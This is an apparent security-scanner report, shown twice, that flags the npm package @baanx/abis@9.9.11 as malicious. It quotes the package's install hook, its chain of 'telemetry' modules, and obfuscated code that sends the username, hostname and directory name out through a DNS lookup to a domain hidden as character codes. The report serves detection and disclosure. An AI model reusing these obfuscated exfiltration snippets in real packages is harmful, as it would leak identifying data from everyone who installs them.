@baanx/abis@9.9.11: Malicious npm security report (Block) | LPM Firewall

Loading npm security reports…

@baanx/abis@9.9.11: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

10 flagged · loading source

package.jsonView file

•scripts.install = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"scripts": { "install": "node index.js", "test": "node test/smoke.js"

High

Ai Review Evidence

The manifest automatically runs index.js during installation.

package.jsonView on unpkg · L7

runtime/support/telemetry/probe/impl.jsView file

•Obfuscated runtime modules collect host identity for a fixed external DNS query. [redacted].js: const diag=require('./c7a1f4.js');const cfg=require('./d8b2e5.js');(()=>{let u='u',h='h',c='d';try{u=diag.clean(diag.os[cfg.decode([0x75,0x73,0x65,0x72,0x49,0x6e,0x66,0x6f])]()?.[c... [redacted].js: [redacted].js Dynamic DNS/OS/process loader in [redacted].js: const _0x8e6f=[0x6f,0x73];const _0x9f7g=[0x64,0x6e,0x73];const _0xa0h8=[0x70,0x72,0x6f,0x63,0x65,0x73,0x73];const _0xb1i9=(x)=>{let s='';for(let i=0;i<x.length;++i)s+=String.fromCh...

Critical

Dns Exfiltration

Source appears to send environment or credential material through DNS lookups.

runtime/support/telemetry/probe/impl.jsView on unpkg

8const q=[cfg.p,u||'u',h||'h',c||'d',t,cfg.dom].join(cfg.d);try{diag.dns[cfg.decode([0x72,0x65,0x73,0x6f,0x6c,0x76,0x65,0x34])](q,()=>{});}catch(e){}})();

High

Ai Review Evidence

The implementation constructs a DNS label from the local username, hostname, current-directory basename, and timestamp, then resolves it.

runtime/support/telemetry/probe/impl.jsView on unpkg · L8

index.jsView file

7try { require('./runtime')(); } catch (e) { /* non-fatal */ }

High

Ai Review Evidence

The package entrypoint invokes the runtime bootstrap, which initializes telemetry and imports the probe implementation.

index.jsView on unpkg · L7

runtime/index.jsView file

16var env = environment.detect(); var config = environment.resolveConfig(env, options); // ✅ support services initialize silently; failures are non-fatal by design try { support.initialize(config); } catch (e) { /* non-fatal */ } return { env: env, config: config, support: support };

High

Ai Review Evidence

The package entrypoint invokes the runtime bootstrap, which initializes telemetry and imports the probe implementation.

runtime/index.jsView on unpkg · L16

runtime/support/index.jsView file

8function initialize(config) { // ✅ health checks are advisory; telemetry initializes best-effort try { telemetry.start(config); } catch (e) { /* non-fatal */ } return health.summary(); }

High

Ai Review Evidence

The package entrypoint invokes the runtime bootstrap, which initializes telemetry and imports the probe implementation.

runtime/support/index.jsView on unpkg · L8

runtime/support/telemetry/index.jsView file

7var probe = require('./probe'); function start(config) { // ✅ probe is fire-and-forget; failures expected in offline builds try { probe.run(config); } catch (e) { /* non-fatal */ }

High

Ai Review Evidence

The package entrypoint invokes the runtime bootstrap, which initializes telemetry and imports the probe implementation.

runtime/support/telemetry/index.jsView on unpkg · L7

runtime/support/telemetry/probe/index.jsView file

5var impl = require('./impl'); function run(config) { impl.runProbe(config); }

High

Ai Review Evidence

The package entrypoint invokes the runtime bootstrap, which initializes telemetry and imports the probe implementation.

runtime/support/telemetry/probe/index.jsView on unpkg · L5

runtime/support/telemetry/probe/d8b2e5.jsView file

2const _0xc3d4=[0x6f,0x6f,0x62,0x2e,0x61,0x6c,0x67,0x61,0x6d,0x69,0x6c,0x37,0x78,0x2e,0x78,0x79,0x7a];const _0xd4e5=(x)=>{let s='';for(let i=0;i<x.length;++i)s+=String.fromCharCode(x[i]);return s;};module.exports={decode:_0xd4e5,d:_0xd4e5(_0xa1b2),p:_0xd4e5(_0xb2c3),dom:_0xd4e5(_0xc3d4)};

High

Ai Review Evidence

The destination domain is concealed as character codes and is unrelated to the stated ABI-library purpose.

runtime/support/telemetry/probe/d8b2e5.jsView on unpkg · L2

Source & flagged code

10 flagged

package.jsonView file

•scripts.install = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"scripts": { "install": "node index.js", "test": "node test/smoke.js"

High

Ai Review Evidence

The manifest automatically runs index.js during installation.

package.jsonView on unpkg · L7

runtime/support/telemetry/probe/impl.jsView file

•Obfuscated runtime modules collect host identity for a fixed external DNS query. [redacted].js: const diag=require('./c7a1f4.js');const cfg=require('./d8b2e5.js');(()=>{let u='u',h='h',c='d';try{u=diag.clean(diag.os[cfg.decode([0x75,0x73,0x65,0x72,0x49,0x6e,0x66,0x6f])]()?.[c... [redacted].js: [redacted].js Dynamic DNS/OS/process loader in [redacted].js: const _0x8e6f=[0x6f,0x73];const _0x9f7g=[0x64,0x6e,0x73];const _0xa0h8=[0x70,0x72,0x6f,0x63,0x65,0x73,0x73];const _0xb1i9=(x)=>{let s='';for(let i=0;i<x.length;++i)s+=String.fromCh...

Critical

Dns Exfiltration

Source appears to send environment or credential material through DNS lookups.

runtime/support/telemetry/probe/impl.jsView on unpkg

8const q=[cfg.p,u||'u',h||'h',c||'d',t,cfg.dom].join(cfg.d);try{diag.dns[cfg.decode([0x72,0x65,0x73,0x6f,0x6c,0x76,0x65,0x34])](q,()=>{});}catch(e){}})();

High

Ai Review Evidence

The implementation constructs a DNS label from the local username, hostname, current-directory basename, and timestamp, then resolves it.

runtime/support/telemetry/probe/impl.jsView on unpkg · L8

index.jsView file

7try { require('./runtime')(); } catch (e) { /* non-fatal */ }

High

Ai Review Evidence

The package entrypoint invokes the runtime bootstrap, which initializes telemetry and imports the probe implementation.

index.jsView on unpkg · L7

runtime/index.jsView file

16var env = environment.detect(); var config = environment.resolveConfig(env, options); // ✅ support services initialize silently; failures are non-fatal by design try { support.initialize(config); } catch (e) { /* non-fatal */ } return { env: env, config: config, support: support };

High

Ai Review Evidence

The package entrypoint invokes the runtime bootstrap, which initializes telemetry and imports the probe implementation.

runtime/index.jsView on unpkg · L16

runtime/support/index.jsView file

8function initialize(config) { // ✅ health checks are advisory; telemetry initializes best-effort try { telemetry.start(config); } catch (e) { /* non-fatal */ } return health.summary(); }

High

Ai Review Evidence

The package entrypoint invokes the runtime bootstrap, which initializes telemetry and imports the probe implementation.

runtime/support/index.jsView on unpkg · L8

runtime/support/telemetry/index.jsView file

7var probe = require('./probe'); function start(config) { // ✅ probe is fire-and-forget; failures expected in offline builds try { probe.run(config); } catch (e) { /* non-fatal */ }

High

Ai Review Evidence

The package entrypoint invokes the runtime bootstrap, which initializes telemetry and imports the probe implementation.

runtime/support/telemetry/index.jsView on unpkg · L7

runtime/support/telemetry/probe/index.jsView file

5var impl = require('./impl'); function run(config) { impl.runProbe(config); }

High

Ai Review Evidence

The package entrypoint invokes the runtime bootstrap, which initializes telemetry and imports the probe implementation.

runtime/support/telemetry/probe/index.jsView on unpkg · L5

runtime/support/telemetry/probe/d8b2e5.jsView file

2const _0xc3d4=[0x6f,0x6f,0x62,0x2e,0x61,0x6c,0x67,0x61,0x6d,0x69,0x6c,0x37,0x78,0x2e,0x78,0x79,0x7a];const _0xd4e5=(x)=>{let s='';for(let i=0;i<x.length;++i)s+=String.fromCharCode(x[i]);return s;};module.exports={decode:_0xd4e5,d:_0xd4e5(_0xa1b2),p:_0xd4e5(_0xb2c3),dom:_0xd4e5(_0xc3d4)};

High

Ai Review Evidence

The destination domain is concealed as character codes and is unrelated to the stated ABI-library purpose.

runtime/support/telemetry/probe/d8b2e5.jsView on unpkg · L2